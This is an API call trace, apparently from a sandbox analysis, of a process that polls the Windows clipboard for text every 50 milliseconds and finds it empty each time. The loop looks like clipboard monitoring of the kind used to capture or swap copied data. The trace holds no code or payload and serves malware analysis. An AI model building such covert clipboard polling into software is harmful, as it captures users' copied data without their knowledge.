[0257.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf487e938, dwHighDateTime=0x1d96e12))
[0257.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.648] GetClipboardData (uFormat=0x1) returned 0x0
[0257.648] CloseClipboard () returned 1
[0257.648] Sleep (dwMilliseconds=0x32)
[0257.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf48a4b8f, dwHighDateTime=0x1d96e12))
[0257.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.670] GetClipboardData (uFormat=0x1) returned 0x0
[0257.671] CloseClipboard () returned 1
[0257.671] Sleep (dwMilliseconds=0x32)
[0257.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf48cadf1, dwHighDateTime=0x1d96e12))
[0257.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.680] GetClipboardData (uFormat=0x1) returned 0x0
[0257.680] CloseClipboard () returned 1
[0257.680] Sleep (dwMilliseconds=0x32)
[0257.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf48f103f, dwHighDateTime=0x1d96e12))
[0257.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.696] GetClipboardData (uFormat=0x1) returned 0x0
[0257.697] CloseClipboard () returned 1
[0257.697] Sleep (dwMilliseconds=0x32)
[0257.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf49172aa, dwHighDateTime=0x1d96e12))
[0257.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.711] GetClipboardData (uFormat=0x1) returned 0x0
[0257.711] CloseClipboard () returned 1
[0257.711] Sleep (dwMilliseconds=0x32)
[0257.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf493d4f5, dwHighDateTime=0x1d96e12))
[0257.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.726] GetClipboardData (uFormat=0x1) returned 0x0
[0257.726] CloseClipboard () returned 1
[0257.726] Sleep (dwMilliseconds=0x32)
[0257.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4963752, dwHighDateTime=0x1d96e12))
[0257.744] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.744] GetClipboardData (uFormat=0x1) returned 0x0
[0257.744] CloseClipboard () returned 1
[0257.744] Sleep (dwMilliseconds=0x32)
[0257.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf49899b3, dwHighDateTime=0x1d96e12))
[0257.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.758] GetClipboardData (uFormat=0x1) returned 0x0
[0257.758] CloseClipboard () returned 1
[0257.758] Sleep (dwMilliseconds=0x32)
[0257.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf49afc05, dwHighDateTime=0x1d96e12))
[0257.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.773] GetClipboardData (uFormat=0x1) returned 0x0
[0257.773] CloseClipboard () returned 1
[0257.773] Sleep (dwMilliseconds=0x32)
[0257.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf49d5e58, dwHighDateTime=0x1d96e12))
[0257.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.790] GetClipboardData (uFormat=0x1) returned 0x0
[0257.790] CloseClipboard () returned 1
[0257.790] Sleep (dwMilliseconds=0x32)
[0257.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf49fc0b5, dwHighDateTime=0x1d96e12))
[0257.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.804] GetClipboardData (uFormat=0x1) returned 0x0
[0257.805] CloseClipboard () returned 1
[0257.805] Sleep (dwMilliseconds=0x32)
[0257.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4a2230e, dwHighDateTime=0x1d96e12))
[0257.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.821] GetClipboardData (uFormat=0x1) returned 0x0
[0257.822] CloseClipboard () returned 1
[0257.822] Sleep (dwMilliseconds=0x32)
[0257.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4a48570, dwHighDateTime=0x1d96e12))
[0257.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.836] GetClipboardData (uFormat=0x1) returned 0x0
[0257.836] CloseClipboard () returned 1
[0257.836] Sleep (dwMilliseconds=0x32)
[0257.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4a6e7c6, dwHighDateTime=0x1d96e12))
[0257.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.851] GetClipboardData (uFormat=0x1) returned 0x0
[0257.851] CloseClipboard () returned 1
[0257.852] Sleep (dwMilliseconds=0x32)
[0257.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4a94a23, dwHighDateTime=0x1d96e12))
[0257.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.868] GetClipboardData (uFormat=0x1) returned 0x0
[0257.868] CloseClipboard () returned 1
[0257.869] Sleep (dwMilliseconds=0x32)
[0257.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4abac7b, dwHighDateTime=0x1d96e12))
[0257.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.882] GetClipboardData (uFormat=0x1) returned 0x0
[0257.883] CloseClipboard () returned 1
[0257.883] Sleep (dwMilliseconds=0x32)
[0257.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4ae0ed4, dwHighDateTime=0x1d96e12))
[0257.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.898] GetClipboardData (uFormat=0x1) returned 0x0
[0257.898] CloseClipboard () returned 1
[0257.898] Sleep (dwMilliseconds=0x32)
[0257.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4b0712b, dwHighDateTime=0x1d96e12))
[0257.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.915] GetClipboardData (uFormat=0x1) returned 0x0
[0257.915] CloseClipboard () returned 1
[0257.915] Sleep (dwMilliseconds=0x32)
[0257.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4b2d394, dwHighDateTime=0x1d96e12))
[0257.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.929] GetClipboardData (uFormat=0x1) returned 0x0
[0257.929] CloseClipboard () returned 1
[0257.930] Sleep (dwMilliseconds=0x32)
[0257.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4b535e2, dwHighDateTime=0x1d96e12))
[0257.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.946] GetClipboardData (uFormat=0x1) returned 0x0
[0257.946] CloseClipboard () returned 1
[0257.947] Sleep (dwMilliseconds=0x32)
[0257.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4b7983d, dwHighDateTime=0x1d96e12))
[0257.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.961] GetClipboardData (uFormat=0x1) returned 0x0
[0257.961] CloseClipboard () returned 1
[0257.961] Sleep (dwMilliseconds=0x32)
[0257.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4b9fa99, dwHighDateTime=0x1d96e12))
[0257.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.976] GetClipboardData (uFormat=0x1) returned 0x0
[0257.976] CloseClipboard () returned 1
[0257.976] Sleep (dwMilliseconds=0x32)
[0257.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4bc5cf9, dwHighDateTime=0x1d96e12))
[0257.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0257.993] GetClipboardData (uFormat=0x1) returned 0x0
[0257.993] CloseClipboard () returned 1
[0257.994] Sleep (dwMilliseconds=0x32)
[0258.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4bebf49, dwHighDateTime=0x1d96e12))
[0258.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.007] GetClipboardData (uFormat=0x1) returned 0x0
[0258.008] CloseClipboard () returned 1
[0258.008] Sleep (dwMilliseconds=0x32)
[0258.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4c1219f, dwHighDateTime=0x1d96e12))
[0258.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.023] GetClipboardData (uFormat=0x1) returned 0x0
[0258.023] CloseClipboard () returned 1
[0258.023] Sleep (dwMilliseconds=0x32)
[0258.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4c383fc, dwHighDateTime=0x1d96e12))
[0258.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.040] GetClipboardData (uFormat=0x1) returned 0x0
[0258.040] CloseClipboard () returned 1
[0258.040] Sleep (dwMilliseconds=0x32)
[0258.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4c5e653, dwHighDateTime=0x1d96e12))
[0258.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.054] GetClipboardData (uFormat=0x1) returned 0x0
[0258.054] CloseClipboard () returned 1
[0258.054] Sleep (dwMilliseconds=0x32)
[0258.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4c848af, dwHighDateTime=0x1d96e12))
[0258.072] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.072] GetClipboardData (uFormat=0x1) returned 0x0
[0258.072] CloseClipboard () returned 1
[0258.072] Sleep (dwMilliseconds=0x32)
[0258.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4caab14, dwHighDateTime=0x1d96e12))
[0258.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.086] GetClipboardData (uFormat=0x1) returned 0x0
[0258.086] CloseClipboard () returned 1
[0258.086] Sleep (dwMilliseconds=0x32)
[0258.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4cd0d6f, dwHighDateTime=0x1d96e12))
[0258.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.101] GetClipboardData (uFormat=0x1) returned 0x0
[0258.101] CloseClipboard () returned 1
[0258.101] Sleep (dwMilliseconds=0x32)
[0258.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4cf6fbf, dwHighDateTime=0x1d96e12))
[0258.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.118] GetClipboardData (uFormat=0x1) returned 0x0
[0258.118] CloseClipboard () returned 1
[0258.118] Sleep (dwMilliseconds=0x32)
[0258.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4d1d216, dwHighDateTime=0x1d96e12))
[0258.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.133] GetClipboardData (uFormat=0x1) returned 0x0
[0258.133] CloseClipboard () returned 1
[0258.133] Sleep (dwMilliseconds=0x32)
[0258.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4d43478, dwHighDateTime=0x1d96e12))
[0258.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.148] GetClipboardData (uFormat=0x1) returned 0x0
[0258.148] CloseClipboard () returned 1
[0258.148] Sleep (dwMilliseconds=0x32)
[0258.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4d696cd, dwHighDateTime=0x1d96e12))
[0258.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.165] GetClipboardData (uFormat=0x1) returned 0x0
[0258.165] CloseClipboard () returned 1
[0258.165] Sleep (dwMilliseconds=0x32)
[0258.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4d8f926, dwHighDateTime=0x1d96e12))
[0258.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.180] GetClipboardData (uFormat=0x1) returned 0x0
[0258.180] CloseClipboard () returned 1
[0258.180] Sleep (dwMilliseconds=0x32)
[0258.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4db5b7b, dwHighDateTime=0x1d96e12))
[0258.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.196] GetClipboardData (uFormat=0x1) returned 0x0
[0258.197] CloseClipboard () returned 1
[0258.197] Sleep (dwMilliseconds=0x32)
[0258.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4ddbf56, dwHighDateTime=0x1d96e12))
[0258.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.211] GetClipboardData (uFormat=0x1) returned 0x0
[0258.211] CloseClipboard () returned 1
[0258.211] Sleep (dwMilliseconds=0x32)
[0258.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4e02038, dwHighDateTime=0x1d96e12))
[0258.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.226] GetClipboardData (uFormat=0x1) returned 0x0
[0258.226] CloseClipboard () returned 1
[0258.226] Sleep (dwMilliseconds=0x32)
[0258.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4e2828f, dwHighDateTime=0x1d96e12))
[0258.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.243] GetClipboardData (uFormat=0x1) returned 0x0
[0258.243] CloseClipboard () returned 1
[0258.243] Sleep (dwMilliseconds=0x32)
[0258.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4e4e4ea, dwHighDateTime=0x1d96e12))
[0258.258] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.258] GetClipboardData (uFormat=0x1) returned 0x0
[0258.258] CloseClipboard () returned 1
[0258.258] Sleep (dwMilliseconds=0x32)
[0258.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4e7474a, dwHighDateTime=0x1d96e12))
[0258.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.273] GetClipboardData (uFormat=0x1) returned 0x0
[0258.273] CloseClipboard () returned 1
[0258.274] Sleep (dwMilliseconds=0x32)
[0258.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4e9a99c, dwHighDateTime=0x1d96e12))
[0258.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.290] GetClipboardData (uFormat=0x1) returned 0x0
[0258.291] CloseClipboard () returned 1
[0258.291] Sleep (dwMilliseconds=0x32)
[0258.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4ec0bf6, dwHighDateTime=0x1d96e12))
[0258.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.304] GetClipboardData (uFormat=0x1) returned 0x0
[0258.304] CloseClipboard () returned 1
[0258.304] Sleep (dwMilliseconds=0x32)
[0258.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4ee6e56, dwHighDateTime=0x1d96e12))
[0258.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.322] GetClipboardData (uFormat=0x1) returned 0x0
[0258.322] CloseClipboard () returned 1
[0258.322] Sleep (dwMilliseconds=0x32)
[0258.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4f0d0b9, dwHighDateTime=0x1d96e12))
[0258.340] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.340] GetClipboardData (uFormat=0x1) returned 0x0
[0258.341] CloseClipboard () returned 1
[0258.341] Sleep (dwMilliseconds=0x32)
[0258.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4f3330a, dwHighDateTime=0x1d96e12))
[0258.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.351] GetClipboardData (uFormat=0x1) returned 0x0
[0258.351] CloseClipboard () returned 1
[0258.351] Sleep (dwMilliseconds=0x32)
[0258.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4f5955b, dwHighDateTime=0x1d96e12))
[0258.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.368] GetClipboardData (uFormat=0x1) returned 0x0
[0258.368] CloseClipboard () returned 1
[0258.368] Sleep (dwMilliseconds=0x32)
[0258.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4f7f7bc, dwHighDateTime=0x1d96e12))
[0258.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.383] GetClipboardData (uFormat=0x1) returned 0x0
[0258.383] CloseClipboard () returned 1
[0258.383] Sleep (dwMilliseconds=0x32)
[0258.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4fa5a0d, dwHighDateTime=0x1d96e12))
[0258.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.398] GetClipboardData (uFormat=0x1) returned 0x0
[0258.398] CloseClipboard () returned 1
[0258.399] Sleep (dwMilliseconds=0x32)
[0258.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4fcbc67, dwHighDateTime=0x1d96e12))
[0258.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.415] GetClipboardData (uFormat=0x1) returned 0x0
[0258.415] CloseClipboard () returned 1
[0258.415] Sleep (dwMilliseconds=0x32)
[0258.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf4ff1ec9, dwHighDateTime=0x1d96e12))
[0258.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.433] GetClipboardData (uFormat=0x1) returned 0x0
[0258.433] CloseClipboard () returned 1
[0258.433] Sleep (dwMilliseconds=0x32)
[0258.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5018125, dwHighDateTime=0x1d96e12))
[0258.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.446] GetClipboardData (uFormat=0x1) returned 0x0
[0258.446] CloseClipboard () returned 1
[0258.447] Sleep (dwMilliseconds=0x32)
[0258.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf503e38b, dwHighDateTime=0x1d96e12))
[0258.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.461] GetClipboardData (uFormat=0x1) returned 0x0
[0258.461] CloseClipboard () returned 1
[0258.461] Sleep (dwMilliseconds=0x32)
[0258.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf50645d2, dwHighDateTime=0x1d96e12))
[0258.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.476] GetClipboardData (uFormat=0x1) returned 0x0
[0258.476] CloseClipboard () returned 1
[0258.476] Sleep (dwMilliseconds=0x32)
[0258.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf508a82f, dwHighDateTime=0x1d96e12))
[0258.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.493] GetClipboardData (uFormat=0x1) returned 0x0
[0258.493] CloseClipboard () returned 1
[0258.493] Sleep (dwMilliseconds=0x32)
[0258.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf50b0ab8, dwHighDateTime=0x1d96e12))
[0258.508] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.508] GetClipboardData (uFormat=0x1) returned 0x0
[0258.508] CloseClipboard () returned 1
[0258.508] Sleep (dwMilliseconds=0x32)
[0258.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf50d6ce7, dwHighDateTime=0x1d96e12))
[0258.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.523] GetClipboardData (uFormat=0x1) returned 0x0
[0258.523] CloseClipboard () returned 1
[0258.523] Sleep (dwMilliseconds=0x32)
[0258.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf50fcf44, dwHighDateTime=0x1d96e12))
[0258.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.540] GetClipboardData (uFormat=0x1) returned 0x0
[0258.540] CloseClipboard () returned 1
[0258.540] Sleep (dwMilliseconds=0x32)
[0258.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5123198, dwHighDateTime=0x1d96e12))
[0258.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.554] GetClipboardData (uFormat=0x1) returned 0x0
[0258.554] CloseClipboard () returned 1
[0258.555] Sleep (dwMilliseconds=0x32)
[0258.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5149426, dwHighDateTime=0x1d96e12))
[0258.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.571] GetClipboardData (uFormat=0x1) returned 0x0
[0258.571] CloseClipboard () returned 1
[0258.571] Sleep (dwMilliseconds=0x32)
[0258.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf516f66c, dwHighDateTime=0x1d96e12))
[0258.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.586] GetClipboardData (uFormat=0x1) returned 0x0
[0258.586] CloseClipboard () returned 1
[0258.586] Sleep (dwMilliseconds=0x32)
[0258.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf51958c6, dwHighDateTime=0x1d96e12))
[0258.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.601] GetClipboardData (uFormat=0x1) returned 0x0
[0258.601] CloseClipboard () returned 1
[0258.601] Sleep (dwMilliseconds=0x32)
[0258.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf51bbb23, dwHighDateTime=0x1d96e12))
[0258.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.619] GetClipboardData (uFormat=0x1) returned 0x0
[0258.619] CloseClipboard () returned 1
[0258.619] Sleep (dwMilliseconds=0x32)
[0258.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf51e1d81, dwHighDateTime=0x1d96e12))
[0258.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.632] GetClipboardData (uFormat=0x1) returned 0x0
[0258.633] CloseClipboard () returned 1
[0258.633] Sleep (dwMilliseconds=0x32)
[0258.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5207fde, dwHighDateTime=0x1d96e12))
[0258.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.648] GetClipboardData (uFormat=0x1) returned 0x0
[0258.648] CloseClipboard () returned 1
[0258.648] Sleep (dwMilliseconds=0x32)
[0258.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf522e234, dwHighDateTime=0x1d96e12))
[0258.671] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.671] GetClipboardData (uFormat=0x1) returned 0x0
[0258.671] CloseClipboard () returned 1
[0258.671] Sleep (dwMilliseconds=0x32)
[0258.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf5254493, dwHighDateTime=0x1d96e12))
[0258.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.680] GetClipboardData (uFormat=0x1) returned 0x0
[0258.680] CloseClipboard () returned 1
[0258.680] Sleep (dwMilliseconds=0x32)
[0258.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf527a6ef, dwHighDateTime=0x1d96e12))
[0258.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.696] GetClipboardData (uFormat=0x1) returned 0x0
[0258.697] CloseClipboard () returned 1
[0258.697] Sleep (dwMilliseconds=0x32)
[0258.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf52a0944, dwHighDateTime=0x1d96e12))
[0258.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.711] GetClipboardData (uFormat=0x1) returned 0x0
[0258.711] CloseClipboard () returned 1
[0258.711] Sleep (dwMilliseconds=0x32)
[0258.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf52c6ba6, dwHighDateTime=0x1d96e12))
[0258.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0258.726] GetClipboardData (uFormat=0x1) returned 0x0
[0258.727] CloseClipboard () returned 1
[0258.727] Sleep (dwMilliseconds=0x32)
